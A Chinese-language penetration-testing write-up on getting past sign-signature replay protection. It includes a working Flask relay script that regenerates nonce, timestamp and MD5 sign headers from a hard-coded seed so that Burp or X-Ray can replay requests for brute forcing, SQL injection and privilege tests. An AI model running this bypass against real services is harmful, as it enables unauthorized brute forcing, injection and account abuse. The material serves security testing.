【安全性测试】突破sign签名校验实现请求重放
对于安全性较高的网站,通常会用到sign签名来实现多重验证,常见的有:
sign对加密密钥验证(后面会介绍)
通过sign对请求重放验证(该文章重点介绍sign请求重放验证)
在渗透测试中,重放数据包是非常重要的测试条件,大多数功能都需要通过重放来测试,像爆破、sql注入、篡改参数实现越权等等;而开发者通常采用的限制方法就是禁止请求重放
有些网站每次请求通过增加随机nonce请求头来校验限制请求重放,我们首先可以测试修改nocnce的值来测试是否能够绕过限制,在这次案例中并不能绕过,在以前的渗透测试中我确实有碰到过修改nonce就可以绕过重放
案例:请求重放失败
以设备的产测生成的鉴权密钥和设备的sn码,去组合而成的sign签名,发送到服务端之后,开始进行鉴权,鉴权成功后说明当前的鉴权码是符合要求的,再进行校验解析当前的次数是不是超过签名校验请求重放的次数,从而禁止请求重放...禁止反复调用
第一步:
先判断当前接口有没有做 请求重放 接口是否带sign 有哪些接口是有做请求重放的,目前这个接口没有sign签名相关,当前接口没有做请求重放相关
postman可看:
在该案例中我们可以看见有sign值,同时还有timestamp、X-CTG-Request-ID、X-Request-Time等等,熟悉sign签名的都知道,这些值都会与sign有关联的。这些值每次请求都是不一样的,我们更改数据包重放请求的时候这些值不会变,就会导致重放失败,当然随机修改值也是无效的,比如我修改sign的值提示了签名信息不正确
而后端怎么校验我们是不知道的,我们只需要知道一点:后端校验的这些值都是前端发送过去的,这些值肯定都是在前端生成的,我们只需要找到这些值的生成方法,在每次请求中使用我们自己生成的值即可绕过
1、前端搜索关键字,找到生成方式,通过前端我们就可以分析到每个请求头的生成方式,对于懂JS的人就会相当简单(需要JS基础,后续有时间我会详细分析,这里就不再分析了)
2、根据每个请求头的生成方式用python编写请求中转脚本(只要是处理bp的请求,接收bp的每个请求,自动在请求包的HTTP头中添加指定的请求头信息,比如随机的sign,再向目标 URL 发送请求,最后将响应结果返回给bp展示,以达到绕过重放)
使用flask框架
import hashlib import json import uuid from datetime import datetime import requests from flask import Flask, request app = Flask(__name__) app.config['JSON_AS_ASCII'] = False # 请求处理 @app.before_request def incoming_request(): header = dict(request.headers.items()) nonce = uuid.uuid4() timestamp = datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S') sign_plain = "timestamp=" + timestamp + "&nonce=" + str(nonce) + "&seed=itms" sign_md5 = hashlib.md5(sign_plain.encode()).hexdigest() header['Nonce'] = str(nonce) header['Timestamp'] = timestamp header['Sign'] = sign_md5 header['X-Ctg-Request-Id'] = str(uuid.uuid1()) header['X-Request-Time'] = str(int(datetime.now().timestamp() * 1000)) re = requests.post(url=request.url, headers=header, data=request.data) re.encoding = 'utf-8' try: json.loads(re.content) except ValueError: return re.content return re.json() # X-Ray代理转发到这里 # app.run(host='127.0.0.1', port=xxxx, debug=True) # Burp代理转发到这里 app.run(host='127.0.0.1', port=12450, debug=True)
bp设置上层代理
然后就可以愉快的请求重放了
未处理的重放失败
处理过的重放成功